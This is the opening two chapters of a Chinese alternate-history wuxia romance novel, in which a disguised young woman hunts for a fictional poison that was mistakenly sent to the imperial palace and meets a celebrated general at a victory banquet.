《并骑弈飘飖》 1. 无尽卷·第一章 1 说起两千多年的封建帝制史,就不得不说到大嬴帝国,从始皇一统天下、首次称帝、开启中央集权皇帝制度的先河,到最后的衰败,共经历了五百多年。 大嬴帝国分分合合的五百多年里,能与首位实现大一统、并将大一统思想植入每一个华夏人血肉骨髓的始皇帝相提并论皇帝只有一个,那就是大嬴第二十代皇帝成武大帝。 话说分久必合,合久必分,大嬴帝国亦是如此。 大嬴历179年,天降大灾,本就日渐衰落的大嬴一分为四,与宁、赵、梁分别分布在东西南北四个方向,成四面割据之势。 但大嬴从未忘记过大一统。 经过百余年的布局与谋划,大嬴终于大嬴历三百一十年,即成武十六年的二月再一次实现大一统,除去前面五代帝王的布局,成武大帝邹稷功不可没。 我们的故事,就从大嬴历三百一十年,即成武十六年江山再次一统后,成武帝班师回朝的四月讲起。 ** 大嬴的都城鄂阳位于的大嬴版图的中东部,起源于北边无尽冰原的濮水从这里流过,最终汇入茫茫的溟南深海;各类资源丰富的旷莽丛林在它的西部,再往西就是最大山脉——辽炀山脉的所在。 战争虽刚结束不久,但鄂阳的百姓并没有受到太大的影响,他们安居乐业、悠闲自得。 此时,城内一家名为天下第一阁的酒楼里就尤为热闹。 一楼的大堂,不少人喝着茶酒、吃着小菜,被口若悬河的说书先生所讲述的人物故事唬得一愣一愣的。 今天故事的主角名为邹杲,也是当今唯一一个异姓王。 只见说书先生手中抚尺一拍,口若悬河讲述起来。 话说常胜王此人,也是一代传奇人物。 他虽出身贫寒、幼失怙恃,但今年仅二十又三,却被当今皇帝收做义子,还在五日前被亲封为全天下唯一的异姓王爷——常胜王,赐封地旧宁国国都浣奇。 浣奇虽远离鄂阳,北面却紧靠辽炀山脉,东面挨着旷莽丛林,各种矿脉多不胜数。 说起常胜王,大家或许并不熟悉,但是说起不败战神、白面罗刹,各位一定有所耳闻。 于大嬴的百姓而言,常胜王是男女都倾慕敬仰的不败战神,既因为他的赫赫战功,也因为他传闻中的绝世容貌与痴情重义。 于陆续被收复的另外三国的百姓而言,常胜王是白面罗刹,是他们导致国破家亡的罪魁祸首之一,他的罪行罄竹难书,简直罪该万死。 毫不夸张地说,皇帝能在十二年内收复天下,十三岁就跟在他身边的常胜王有着不可磨灭的功劳。 常胜王本名姜茭,十三岁,被皇帝破例收在身边;十六岁在与宁国的辽炀绝壁之战中初露头角。 传闻,他在大嬴主力大军陷入埋伏、即将落败之时,带领着三百火头兵声东击西,扭转局面。 十八岁,他再一次力挽狂澜,不但斩宁国皇帝人首于马下,更是用身体替咱们皇帝挡了射向他头部的致命毒箭。 同年八月,皇帝收他为义子,赐名邹杲、取字尘琛,特铸金铜钺斧为其武器,封骁勇大将军,领一万前锋在前破阵。 二十二岁,他独自生擒赵国皇帝,再次替皇帝挡下暗箭,助皇帝彻底收复大嬴百年前的失地。 更传奇的是,从他十六岁初露头角开始,凡他领兵指挥的战役,没有一场败绩,哪怕被逼到绝境,哪怕弹尽粮绝,哪怕敌我殊途相差巨大,他总能力挽狂澜,扭转局面。 这也是他“不败战神”称号的由来。 这些都是他昔日的辉煌。 随着说书先生一番毫不掩饰的夸赞,酒楼里的看客同样毫不吝啬自己对常胜王的赞美与向往之言,羡慕言说着常胜王的前途将如何光明。 说着说着,不一样的声音出现了。 “在下听说,今晚的庆功宴主要是为战神举办的,将会隆重异常呢!好想亲眼看看啊!”一个衣着文雅的男子艳羡道。 另一个男子戏谑:“或许,阁下现在把自己阉了,再让府中好生打点一二,说不定,还能赶得上年底的祭天盛典。” “还是不了。”先前开口的男子连连摇头,“在下才娶妻不久,又没有兄弟……” “哈哈哈!”又一个男子大笑道,“诸位说这么多,不就是想见到传闻有仙女之姿的静姝公主吗?我奉劝诸位还是别想了,听说陛下有意与战神亲上加亲,而陛下就静姝公主这一个女儿……” “就是,诸位把战神置于何地,把战神手中的金铜钺斧置于何地。” 另一个男子听闻此言,四处巡视了一番,见没有官兵,这才小声道:“我听说战神那把金铜钺已经熔了,就在二月最后的一场战役获胜后,熔的时候战神都还在昏迷中。” 他越发唏嘘,“功高盖主啊,今晚的宴会多半不是单纯的庆功宴,战神今后的日子,怕是不会好过了。” “真的假的啊!” “八九不离十,知道陛下赐给战神的名字吧,你读快点,多读几遍。” 几人面面相觑,但很快都露出难以置信的神色。 那人凑近些,压低声音念道:“邹杲,邹杲,邹狗,走狗……” “你们说,陛下是日理万机无心之举,还是有意为之,意在警告打压战神……” “不会吧,不是说皇帝有意把唯一的女儿下嫁给战神亲上加亲吗?” “还有传闻说战神有爱慕的女子,并且非她不娶呢,谁知道皇帝是不是用公主来试探战神的忠心……” “啊……是这样的吗?” 见几人聊得越来越大逆不道,说书先生连忙用抚尺一拍桌面,将众人的注意力集中回来。 “说完了家国情仇,我们再说一说儿女情长,传闻啊,常胜王年幼落魄之时,幸得一女子相助……” 说书先生说得煞有其事,仿佛他亲眼所见一般,情节之夸张,很是虚假。 不过,谁能拒绝在消遣之余听听这样跌宕起伏的故事。 说书先生说得唾沫横飞,坐在内厅楼梯旁的一个年轻俊俏的男子收回视线,拍拍桌子,示意倚靠在楼梯上的店小二过来。 男子进店小半个时辰有余,刚来的时候,好像逃荒来的一般,将沉甸甸、破烂烂的包袱往桌上一放,就大言不惭的喊他们把招牌酒菜都上上来。 这人看着也就二十来岁的模样,五官虽精致俊朗,但皮肤黝黑,身高在男子中不算高,看起来比相同身高的男人要瘦弱许多。 他穿着深蓝色的粗布麻衣,怎么看都不像有钱人。 别说小二,连他们管事刚开始都不敢给他上菜,还是见他不经意间从包袱里拿出一个小金饼,管事才乐呵呵吩咐人上菜。 至于小二,则是管事担心男子吃霸王餐,特意喊他过来看顾着的。 常胜王的故事店小二听了很多遍,但每次听,都会入迷,男子叫了好几声他才反应过来。 他匆忙跑过去,讨好笑着,“公子见谅,小人一时听得入迷,请公子大人不记小人过。” “无妨。”瘦弱的男子,也就是李棋,她笑着从沉甸甸的包袱里拿出一个黄金铸的小金饼。 她拿在手里,一边在指缝间转着玩,一边问店小二,“这个,够我这顿饭钱吗?” 金灿灿的光泽,店小二看得眼睛都直了,他忽略李棋身上并不值钱的衣物,瞥了一眼李棋手边鼓囊囊的包袱,连忙笑呵呵点头。 “够够够!再来十顿都绰绰有余。”见一大桌吃食已经见底,他殷切又说,“本店独特吃食很多,先前给公子安排的这些只是其中一小部分,小的再给公子张罗一桌如何?” 李棋摇了摇头,将小金饼放到桌子上。 店小二眼睛跟着金饼走,小金饼与桌子碰撞,发出清脆的声响,他才反应过来,讪讪笑了笑。 爱财之心人皆有之,李棋不觉得恼火,反而笑盈盈道:“我祖上因为战乱避世多年,最近天行太平,我才能溜出来走走看看。” 适时,说书先生还在将这位战神幼时所面临的困境,还扯到了什么涝灾,描述着涝灾过后的惨状。 也有人催他快讲战神的事,但说书先生一个劲的卖关子,说得实在拖拉。 她话锋一转,又道:“我也不太熟悉这外界的种种,刚刚听他们说起什么战神,我实在好奇,你们这的说书先生又过于啰嗦。这样吧,你给我讲讲这位战神,这个小金饼除去饭钱剩下的就都归你了,怎么样?” “当真?”店小二眼睛都亮了,但还是克制着,讪笑问道,“公子莫不是在逗弄小的吧?” 李棋又从包袱里摸出一块小金饼,拿着手中一边玩弄,一边佯装怒意对那店小二道:“逗弄你?你是觉得本公子只能拿出一块小金饼吗?” “没有没有,小人不敢,小人不敢。”店小二乐得合不拢嘴,眼睛完全黏着那两个小金饼去了。 一个小金饼,等于两千枚五铢钱,除去这顿酒钱,他也还能得到至少一千八百个五铢钱,这都快抵他两年的工薪了。 “公子莫及,且听小的跟您细细道来。” 李棋点点头,右手拿着一个小金饼抛着玩,一手端起酒杯悠哉悠哉喝了起来。 吊儿郎当的纨绔样,手下随意摆弄的金饼,令旁人不齿又嫉妒。 但她对店小二来说就是行走的财神爷,店小二嘿嘿一笑,殷勤讲述起来。 “战神是咱陛下唯一的义子,特赐国姓,单名一个杲字,字尘琛,姓与名还有字都是他十八岁时,陛下亲自赐的。他十三岁参军,跟着陛下南征北战,从默默无闻,到家喻户晓、一人之下万人之上,只用了九年。” “这些说书先生不是讲过了,而且,”李棋将手里的酒杯放到桌子上,发出声响打断了他,不解问,“嬴国律令不是规定男子未到十五岁不得入伍吗?” 店小二说得热血沸腾,忘了尊卑,在侧边的凳子上坐了下来,有荣与焉骄傲道:“这就是咱们战神的厉害之处了!” “公子别急,咱们店的醉红尘可是不可多得的好酒,您慢慢喝,听小的慢慢说。”店小二笑呵呵说着,拿起精致的白瓷酒瓶与酒杯给她倒满酒。 这酒的确是好酒,李棋很喜欢喝。 她接过店小二双手奉上的美酒,慢慢抿着,同时抬手示意店小二继续说。 “公子虽然避世多年,但或许也有所耳闻,无论是已经倾覆的国朝,还是我们我们大嬴,有些颜色和图案,比如咱们大嬴的玄黑与赤红二色,这都是有重大意义的,咱普通人轻易穿不起、更不能随意穿戴。” 见她点头,店小二才又说,“传说啊,战神儿时与一梁国女子有一约定,待战神功成名就,身着在梁国象征着兵权的绛紫色武将官袍之时,就是他们成亲之日。” 更离谱了,李棋被气笑了,又一次打断了他,“那他不该去梁国吗,怎么成为嬴国的战神?” 店小二一愣,片刻,才弱弱道:“大嬴历三百年,梁国就灭国了。” 见李棋还没反应过来,店小二弱弱解释道:“战神是十三岁跟在圣上身边的,也就是大嬴历三百零一年。” 李棋一顿,她还真没注意这个。 她有些尴尬,但秉着出钱就是大爷的行走江湖之道,李棋故作镇定反问:“所以,这和他十三岁进入军营有什么关系吗?” “有关系,关系大了,公子您别急嘛!”小二赔笑说着,又给她将酒满上了。 “战神十岁那年,信阳外郊出了洪涝,战神母子虽在那场洪涝中活了下来,但战神的母亲却重病不起。据传,战神便是在外出给重病的母亲寻找草药时结识的那名女子,幸好有那女子送给战神的珍贵黄金珠宝首饰,才让战神的母亲熬过了那场重病。” “两人惺惺相惜,遂定下约定。可惜那女子只是与家人游玩至此,几日后就离开回梁国去了。之后不久,梁国便对咱们大嬴宣战,很快梁国覆灭,彼时,战神还年幼,两人也再没见过面。” “梁国破灭后一年,战神唯一的亲人、也就是他的母亲,还是离他而去。” 李棋顺着店小二的话问:“所以,无依无靠的战神看破时局,坚信大嬴最终会再次统一天下,遂追到大嬴的军队中去,殊死拼搏、建功立业以此换得权力去大肆寻找他心爱的女子。” “对对对,是这样没错。” 李棋无语至极,心道这样的故事画本子里都写烂了,但她还是没直接反驳店小二。 忍住想翻白眼的心,李棋夹了一块卤肉,一边嚼,一边又道:“照你这么说,与那女子定下婚嫁约定时,战神才十岁,那女子估计和战神年龄相仿,或者比战神虚长几岁。战神如今找到她了吗?要是没找到的话,人家说不定早就嫁与他人儿女双全,又或许死在战乱中了吧?” “所以说咱们战神重情重义呢!这么多年,为了儿时的一个承诺,咱们战神身边一直没有亲近的女子。”店小二说着,还叹了口气,“要不说厄运专挑苦命人呢。你说咱们战神好不容易苦尽甘来,心爱之人寻不到也就罢了,还有功高盖主惹陛下生厌的嫌疑。” 他越说,越难过,好像在说他自己的苦命一样。 见李棋用异样的眼神看着他,他讪讪一笑,“害,战神和小的一样贫苦出身,却和小的有着云泥之别,小的既钦佩又羡慕。” 他又是一声讪笑,“让公子看笑话了,不说这些,小的继续说小的知道的吧。” 见小二的确不知道更多,李棋虽然好奇,但也不为难他,点头示意他继续。 “原本,陛下也觉得战神太弱小,没把他当回事,可是战神硬生生跟了军队行进了九天,饿得不行,彻底晕了过去,才掉队。” “陛下欣赏战神的毅力与机警,就把战神留在身边培养,军队里的大将,包括陛下那都是战神的师父!咱们战神也是聪慧的人,十六岁,他就能独当一面……” “……后来,陛下更是花大代价给战神打造了名扬天下的金铜钺斧,那可是钺啊,自古就是权力的象征,全天下也仅有两把。以玄金打造那把钺斧在陛下手中,两个皇子都无法拥有呢,这是多么大的荣誉啊!而且,战神还俊美无比……” 见店小二越说越激动,越说越不想停下,李棋无奈打断了他。 “行行行,我知道了,你很敬仰战神。” 店小二有些羞涩地点头,“对啊,公子好厉害,这都被您都看出来了!” 李棋无语,这还用看? “接着!” 李棋起身,将两个金饼一起抛给他,然后拿起放在一旁的包袱,一边往楼上走,一边说:“给我安排一间上房,今晚我就住你们这里了。” 她走出去两步,又停下脚步,转身迟疑问道:“房间是不是得等你找掌柜安排好才能带我去?” “是的,劳请公子稍等,小的这就给公子安排房间。” 李棋脚步一顿,站在楼梯口上也不是,下也不是,心道还好没有直接上楼。 这是她一次入世,之前只在娘亲和一些来求医药的商贾那里得来的话本里见识过俗世的繁华与疾苦。 她本想学话本子里的侠客潇潇洒洒,结果却因为她不是这里的熟客,在这里没有固定住所,坏了她的气势。 在她懊恼的时候,店小二嬉笑着请她稍等片刻,而后跑向掌柜,给她安排房间去了。 很快,店小二拿着钥匙笑呵呵朝她快步跑过来。 “公子,随小的来吧,都安排好了。” “行。” 李棋跟着他,潇洒上楼。 * 给李棋安排的房间在三楼,天下第一阁不愧是天下第一阁,各方面都很奢华。 李棋虽是初次入世,不过关于这天下第一阁,她还是知道一些的。 天下第一阁涉及很多方面,几大繁华都城都有,是近几年刚刚起来的,传闻是江湖势力,也有传闻说它的背后是功勋贵族,更有说是皇家亲自掌控的。 但是背后具体是谁,李棋不得而知。 李棋大概检查了一下房间,确定没有什么异常后,她迫不及待关上门和窗,解开深蓝色的粗布衣袍,三两下扯掉了胸前约束自己的一卷白布条,还从包袱里找出特殊的药粉,混在水里,擦去脸上、脖颈、手背黑褐色的一层,露出原本白净的皮肤。 “总算舒服了!”李棋呈大字倒在床上,声音比起和店小二交谈时细腻柔和了许多。 “痴情的不败战神……” 李棋面色凝重念叨着,不禁想起了十五天前,她还在最东边的玄林时,与她师父毒赋的谈话。 * 当时,她正在后山锻炼自己的耳力,她用白 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“不罚你,有事要你去办。”师父正色说着,负手转身往不远处的竹屋走,“跟我来。” “哦。”她表面卖乖,心里却十分得意,连忙小跑跟上自家老当益壮的师父。 一进屋,师父就扔给她一个小册子,“这里面是昨天来我这里拿药的几个商贾的详细背景及住所地址。我不小心把‘无忧’混到那批药里了,你挨个去找,务必在酿成大祸之前把‘无忧’找回来。” 听到这话,李棋一时怀疑自己听错了。 她难以置信看向她的师父,艰难张开嘴巴,“师父,你没有说错药名吧?” 向来波澜不惊跟木头人一样的师父此刻很是心虚,竟然不敢直视她,只懊悔又沉重地摇头。 李棋仿佛瓦罐里烧沸的开水,瞬间炸开浦喷出来,她还是没法相信,绕到师父面前,语速都快了很多。 “是那个我与您刚研究出来的、吃了七情六欲会不受控制、五感会渐渐丧失,并且会在十五个十三日后枯竭死去,并且暂时还没有研制出解药的‘无忧’吗?” “是,所以,此行,你务必把东西追回来。”毒赋面色严峻,“总共三个药商,你一路向西走,挨个查看,其中一批药会送到嬴国的皇宫,你的动作务必要快,若是它真被送入皇宫,那后果将不堪设想。” 听到会送入皇宫,李棋更加抓狂。 “造孽啊!师父,你真是老糊涂了不成!” 师父瞪她一眼,也不知道是因为心虚还是别的什么,竟没有呵斥她没大没小。 好久,她才冷静下来,不确定又道:“‘无忧’是让我们刚研制出来的,除了我和师父您,没有人知道它的药性,就算流入嬴国的皇宫,应该也不会造成大乱子的吧。” 师父面色却越发深沉,“‘无忧’试验过程中,我让你跟踪记录‘无忧’的毒效……” 闻言,李棋瞬间想起来始末,她面上又是一惊:“师父,你没把纸条换成瓶塞就不小心把‘无忧’混到进行交易的药物中了吗?那可是一滴就能害死一头猛虎的‘无忧’啊!” 师父面色铁青摇头。 自从三年前师兄下山,师父也不再给李棋找外来师父传授武功技能,李棋每日和不苟言笑的师父为伴,少不得抱怨无聊。 两年前,或许是为了给她找点事做,师父开始带着她研究制造各种药物奇毒。 ‘无忧’便是师徒俩一起完成的,试验‘无忧’的药性阶段,几乎都是她在观察记录,师父只偶尔盯梢,让她睡个囫囵觉。 截止到前天,她已经盯着那几只动物快十天了,又累又困。将它们都熬死,她把症状记录好,习惯性顺手用纸条塞住药瓶,和师父说了一声,就回去睡觉了。 以往,师父都会在第一时间来善后的。 不等李棋问他为什么没有第一时间处理好,便听他又说:“‘无忧’一旦流入皇宫,被有心之人利用,玄林,还有你我都将再无安宁之日。他们是昨日傍晚离去的,你速速追去,一定来得及。” “昨天就不见的,今天您才发现!师父啊,看来您不止头发胡子白,人也是真的老了。” 李棋苦哈哈说着,就要跑去准备。 “等等。”师父叫住她,拿起桌子上一个沉重的包袱递给她。 李棋接过,很重,还不等她打开,师父又道:“除了盘缠,还有你一直想要的鞭子。” “九龙神鞭!” 李棋大喜,双眼都放光了,当即就扯开包裹,取出一堆银黑色的铁器。 这可是江湖上有名的九龙神鞭啊!是当年金曲楼名噪一时的蝶恋花二次扬名的武器!还是蕀篱门十大名器之一! 它虽然名为九龙神鞭,但却只有鞭把做成了龙头的模样,乍一看,和普通铁鞭没什么不同。 拿起来之后,就能知道它的与众不同。 组成其鞭身的九条细链并非紧密编织,而是由磁吸性紧密聚合在一起。 更神奇的是,本是由磁吸材料制作而成的鞭身却没有紧紧黏成杂乱的一团,而是成长直的一条。 细链间的磁吸性很强,用柔劲能抓起来一点,但却不能将其完全分开。 鞭子整体长共计一丈(三点三米),重六斤三两,比一般的鞭子长了一倍、重了三倍不止。 之所以叫九龙神鞭也是因为组成鞭身的细链在超强内力的驱使下,可以分散成九条。 据说江湖名录《蕀篱门十大名器》中所写,蝶恋花最巅峰时期,可以完美控制每一条细链的走向,只要她想,方圆一丈,没人能近她的身。 可惜,在蝶恋花名声大噪时,九龙神鞭与她一同消失了一段时间,再后来蝶恋花虽回到了金曲楼,九龙神鞭却再没出现过,直到三年前,李棋在师父的房间里偶然发现了它。 当时,她就想要来耍耍的,但是没要到。 九龙神鞭明明都已经在江湖上销声匿迹十多年了,也不知道她师父是从哪里搞来的。 不过她的师父向来无所不能。 李棋的确觊觎它许久,宝贝地抱着它,不甚在意提起钱财,瞬间有了动力,“多谢师父!师父放心,徒儿就这去,一定不会让您失望的!” 师父应了一声,又叮嘱道:“把那老乞丐教你的用上,脸抹得黑一点,穿上男装,钱财不要外漏,尽量避免不必要的麻烦。” 李棋得了宝贝,心思都还在宝贝上,习惯性不耐烦抠了抠耳朵,又没心没肺笑嘻嘻答道:“好嘞,我去收拾一下,马上就下山。” 她话音未落,抱着东西都跑出师父的房间了,可是师父还在叮嘱她:“万事小心。另外,看到子瞮不要相认,他已经与我断绝师徒关系,不再是你师兄了。别和他往来,方能避免不必要的麻烦。” 闻言,李棋脚步一顿,但她很快反应过来。 她回头笑嘻嘻应着“知道了,师父。”,然后,便一溜烟跑回了自己的房间。 * 摸着九龙神鞭鞭把上的纹饰,李棋的思绪渐渐回来。 这十五天,她风餐露宿,从最东边追到中部,其中两个药商,她都去家里拜访了,前几批分散到各个药庄的药她也都查看了,都无果,只有最后一批,在今早运进皇宫了。 她紧赶慢赶,还在在她意料之中的慢了一步。 不败战神的庆功宴。 李棋心中好笑,办得还真是时候。 ———— PS:本文架空,但是有参照历朝历代的历史,可以看做大秦没有二世而亡的另一种可能,大嬴这个国号也是取自秦始皇的姓氏。 私设很多,不但有朝堂,更有江湖,会有其他不受朝廷管制的势力。 官职称谓也比较杂乱,都是什么直接明了叫什么。 请不要过度在意有些历史细节,说与某个时代不符合什么的,一切为剧情服务,请原谅我的知识存储量,真的很匮乏。 另外,本文的货币分别是:由黄金铸造的大金饼和小金饼,由铜铸造的五铢钱,一个小金饼等于两千五铢钱。 主要参考秦朝和东汉的货币,但是量级什么的都是我的私设,如有不合理请勿见怪,我真的尽力了。 2. 无尽卷·第二章 2 今晚的皇宫,果然热闹非凡。 虽然人很多,但秩序却很好,而且守卫远远比来宾多得多,十分森严。 不过,李棋苦练这么多年,这么多名声在外的师父的教导也不是白听的。 * 暮色四合,她很轻易地溜入了皇宫,但是后面的路却并不顺利。 原因无他,她找不到方向,不知道药库在何处。 她实在没想到,这皇宫会这么大,跟她和师父藏身的玄林有得一拼,每个方向的建筑都差不多,绕得很。 她甚至怀疑整个皇宫都布下了奇门遁甲之阵。 不过,仔细一想,也不是没有这个可能。 据她白天探查到的消息,这宫城是嬴国的旧都,一个月前,才迁都回来。 这里荒废了百余年,但据说好几年前,彼时监国的颍王就已经在组织修缮事宜,工程量之大,甚至还在玄林外围征收过徭役,若非有其他三国的战俘,怕是又要把嬴国弄得民不聊生。 这位颍王与嬴国皇帝的关系也有些微妙,颍王名为邹黍,是嬴国成武帝亲自征战数十载期间的嬴国监国。 两人虽不是同胞兄弟,但是其生母的关系却极好,两人关系自然也不差。 而且,据传闻,他们的父皇好似有意同时培养两人,成武帝邹稷擅武,在外征战,颍王邹黍擅文,在内监国。 但后面似乎发生了些什么,颍王虽依旧是见过,两人的关系却很是复杂,这不,成武帝回来的当天,颍王就赶忙卸去监国之位,告病在家闭门修养,成武帝给他宗正之位,有上门去探望,颍王这才复出。 扯远了,总之,不是李棋分不清东南西北,而是皇宫实在太大,布局也的确有些玄妙。 虽然这样想,但李棋还是难免着急。 她要是不在‘无忧’被有心之人拿去做文章之前将其找到,那玄林,她肯定是不能轻易回去了。 在玄林的生活虽然枯燥,但是至少悠闲,虽然总嚷嚷着天下那么大、她想去看看,但比起漂泊不定,她还是喜欢悠闲躺平。 “抱歉了,你先睡会吧。” 李棋一个手刀,劈晕了一个落单的小太监,她把人拖到偏僻的草丛,快速换上太监身上的衣服。 然而,她刚走出草丛,就被人抓住胳膊,而后揪住了耳朵。 是个声音尖细的老太监。 “你干什么呢,一点规矩都没有。就算是刚进宫什么也不懂,跟着和你一样的人走还不会吗?快跟我来,给贵人们送酒去。” 李棋被夹着嗓子的老太监吼傻了,她换上太监的衣服,是为了方便行动、方便她找个别的太监搭话问路,不是为了到皇宫里干活。 谁料,她还没开始行动,就十分倒霉的,被老太监强硬地拉去送酒了。 关键是,她还不能用武力压制老太监。 老太监身后还跟着两个提着灯笼的小太监,不远处就有两队巡逻的士兵,闹大了对她不利。 * 高举着酒,都快走到载歌载舞的浩鸿大殿了,李棋还是很气,气她怎么这么倒霉。 更让她生气的是,送个酒还要按身高列队。 李棋长得比较高,高到至今为止,她还没遇到过比她还高的女人。 但她万万没想到,她引以为傲的大高个此刻狠狠拖了她后腿。 这些小太监怎么回事啊,怎么一个个的,都没她高啊。 她被迫站在最前面,想趁机溜都溜不了,真是气煞人也。 听着恢宏悠扬的编钟声,李棋清明了许多,勉强接受现实。 她在心里宽慰自己:没事,就这么一小壶酒,还不够里面那些酒囊饭袋垫个底的,肯定马上就要喊他们继续上酒,跑完这一趟再溜肯定来得及…… 安慰自己的话还没在心里说完,突然,她撞进一个宽厚的怀抱中。 不,准确来说,是一个高大的身体以极快的速度跌撞到她的身上,并且赖上她了。 不可忽略的重量压在她身上,还有一股若有若无的香味,混合着香醇的酒味。 浓郁的酒香,但不是她白日在天下第一楼喝过的醉红尘。 李棋本身就是个爱喝酒的,这酒香得啊,勾得她都开始分泌唾液。 要不是时机不对,她都想问这人讨杯酒喝。 只是此刻,李棋却是一动也不敢动。 她确定她是跟着领头的老太监走的,她都还能看到旁边老太监的鞋。 所以,到底为什么? 老太监就在旁边,男人为什么非要往她身上撞? 能出现在浩鸿大殿中的人,身份肯定不一般。 难道是识破她的伪装了! 要怎么脱困? 这时,大殿上位传来中气十足但带着醉熏感的中年男人打趣的声音:“尘琛啊,这就醉了吗,朕还有许多话想同你说。” “许久没有如此饮酒,臣不胜酒力。望陛下体谅,容臣去外面吹吹风,缓一缓。” 李棋身体越发僵硬了,男人完全压在她身上,随着男人说话,男人的胸腔也在震动,连带着,她的心好像都震动起来了。 这种感觉,对于没有近过男色、并且好奇已久的李棋来说,实在太陌生、太暧昧、太具有吸引力了。 尤其是这男人的声音很是悦耳,他一说话,浓醇的酒香越发浓郁,勾得李棋蠢蠢欲动,越发想尝一尝这散发着醉人酒香的高大男人。 “哈哈哈,这还是尘琛你第一次跟朕服软认输。去罢,去吹吹风、醒醒神,回来朕再与你慢慢聊。” “谢陛下体谅。” 男人的手勾紧搭在她的肩膀上,头埋在她的脖颈处,李棋越发僵硬,越发不敢动作。 突然,靠她身上的人拍了拍她,声音小了很多,却不复之前的含糊,还多了几分威胁,“扶本王出去。” 李棋一惊,“诶?你没……” 疑惑的话没能说出口,男人一个假动作,在宽大袖口的掩护下捂住了她的口鼻。 “发什么愣,王爷叫你呢!”领头的老太监快步上来,掂起脚接过她举着的酒,骂了她一句,又连忙跟男人认错求饶,“王爷恕罪,他刚入宫不久,还不太懂规矩。” “无妨。”男人醉醺醺摇头,搭在她肩膀上的手又拍了拍她,“扶本王出去。” 真能装。 “哦哦,好的。” 李棋虽不情愿,但也只得点头哈腰装乖。 她一边扶着高大沉重的男人往外走,一边盘算着把传说中的战神打晕、对他干坏事的可能性。 说实话,李棋对他真挺感兴趣的。 可惜,她的计划注定要落空了。 走出大殿,借着男人衣袖的掩护,李棋这才敢抬头好好看看四周的环境。 不看不得了,一看吓一跳。 除了来时她看到的立在两边的一排排的大脚,院子里每一个隐秘的角落,几乎都密密麻麻看着身穿盔甲、佩戴刀枪的守卫。 这浩鸿大殿附近的守卫竟是比她被老太监揪到的偏远宫殿多了十倍不止。 这些守卫表情威严肃穆,但见了他们,全部都躬身行礼。 这也验证了李棋对男人身份的猜测——这个穿着深紫色袖子上还绣了四爪龙爪锦袍、被皇帝亲切喊做‘尘琛’的男人就是大名鼎鼎的不败战神——常胜王邹杲。 借着外面通明的灯火,李棋暗自打量着传说中的不败战神。 嬴国自认水德,皇帝的冕服历来就是黑色为底,红、金二色做里衣和绣饰,相应的,嬴国武将的官袍为黑色,文臣则为红色,颜色越深,官位越高。 按理说,邹杲身为嬴国武将出身的异姓王爷,本该着黑色四爪龙袍。 但他的确穿着一身紫色四爪龙袍,至于是他主动向皇帝求来的,还是皇帝自己下令给他做的,其深层原因究竟是对他欣赏宠爱,还是借机敲打,李棋就不得而知了。 悄咪咪捏捏男人的胳膊,李棋有些纳闷。 这传闻中能单枪匹马深入赵国军队核心处、生擒赵国皇帝的战神似乎有些过于瘦弱了。 这样的体格,真的能舞得动有上百斤的大钺斧吗? 她难以置信又捏了捏,突然,耳边传来男人不善的声音,“摸够了吗?” 李棋一愣,猛地松手,反应过来,又扶住他装傻道:“王爷说什么呢,王爷身材如此高大雄伟,小的不抓着王爷的胳膊,怎么扶得住王爷伟岸的身躯呢。” 邹杲低头看着她,像是嫌她低着头看不清楚,下一瞬,他伸手捏住李棋的下巴,强迫李棋抬头直面他的审视。 四目相对的瞬间,李棋心中猛然一跳。 其他传闻真不真不知道,关于战神容貌这一点还真是真得不能再真了。 他的容貌当真是得天独厚,一眼便能人记住并陷进去。 注意到邹杲皱眉,李棋反应过来,连忙卖乖笑着问:“王爷,您要去哪?” 邹杲依旧不说话,面无表情、目不转睛看着她,良久,搞得李棋都心虚了,他才淡淡说:“随便找个亭子。” 邹杲的声音不似之前那般,虽然声音依旧低轻,但是吐字清晰,不知道是不是李棋的错觉,好像还带着几分愉悦,听着更加悦耳了。 李棋很爱听,并且还想再听。 “好嘞,小的这就带王爷去找亭子。” 她扶着邹杲一边顺着回廊往前走寻找亭子,一边和他搭话。 可邹杲不但不再说话,还又装出那副醉得不轻的模样,将全身至少一半的重量都压在她的肩膀上。 他带着酒香的热气喷洒在李棋的脖颈间,这对李棋来说是致命的诱惑。 短暂的沉迷过后,李棋不由得懊恼。 早知道就学着那些太监自称‘奴才’了,叫你自大,这下好了吧,暴露了。 不过,既然察觉到她不是真太监,不叫守卫把她抓起来就算了,怎么还一个劲往她身上靠呢? 难道,这男人在外营造出一副洁身自好的深情模样,实际沉迷女色,还看出她女人的身份,并且看上她了? 这路越走越偏,他等会该不会是要…… 那她是直接不反抗呢,还是假意反抗几下,然后…嘿嘿嘿。 不出意外,‘无忧’多半就是被人特意偷来对付这个倒霉蛋的吧。 她暗搓搓摸了摸男人的脉,脉象平稳,‘无忧’还没有被这个倒霉蛋吃下去,此刻多半还在嬴国的药库之中。 要真是这样,她不反抗好像也不会耽误她会玄林逍遥自在。 要不,等会就不反抗了。 李棋还在想等会要以哪种柔弱程度来面对他,突然,压在她身上的重量一轻,那股香味也随之远离。 这里很偏僻,虽然灯火通明,但却只有后方回廊拐角处站了两个守卫。 前方差不多三丈远,有一个小亭子。 邹杲没事人一样,大步走在前面,同时淡淡道:“跟上。” 李棋一愣,也懒得再学太监们常用的小碎步,大摇大摆跟了上去。 看着他高大的身形、宽阔的肩背、劲瘦的腰部,还有随着他行走的动作而动作的修长双腿,李棋在心里感慨万千。 瘦归瘦,体型却很高大,不但有武将的猛虎熊威,更有一股百折不挠的文人风骨。 这时,走在前面的邹杲突然嘁嘁笑道,似是自言自语,又似乎是在说她。 “伴君如伴虎,在宫里还是得多注意些。” 不知道是不是李棋话本看太多的缘故,她觉得邹杲这声音有股无奈的凄凉感,还挺招人心疼的。 她还在纠结要不要自己坦白身份安慰邹杲两句,就听邹杲又道:“傲骨与活下去相比,不值一提。太监要自称奴才,说话的声音要低一些,不能直视宫里的贵人,更不能趁乱为非作歹,不然,脖子和脑袋容易分家。” 他似是苦口婆心说着,走到亭子里的石凳前坐了下去,然后笑眯眯对着李棋做了一个抹脖子的动作。 李棋看不懂了,她不知道邹杲是在警告她,还是在诚心传授她在这皇宫中的生存之道。 略作思考,她将腰背压得更低一些,“多谢王爷指点。” “你太没有悟性了。”邹杲无奈笑着,修长但是满是疤痕与老茧的手指敲了敲石桌桌面,无奈道:“这时候,你该过来给作为贵人的本王倒茶水了。” 李棋疑惑至极,邹杲葫芦里卖的究竟是什么药? 他这反应,究竟是看穿她的伪装了,还是真的在指点作为太监但放不下傲骨的她? 这放不下的傲骨又从何而来?把她错认成哪国遗脉了吗? 李棋只惋惜她没法直视邹杲的脸,没法从他的表情去辨别揣测。 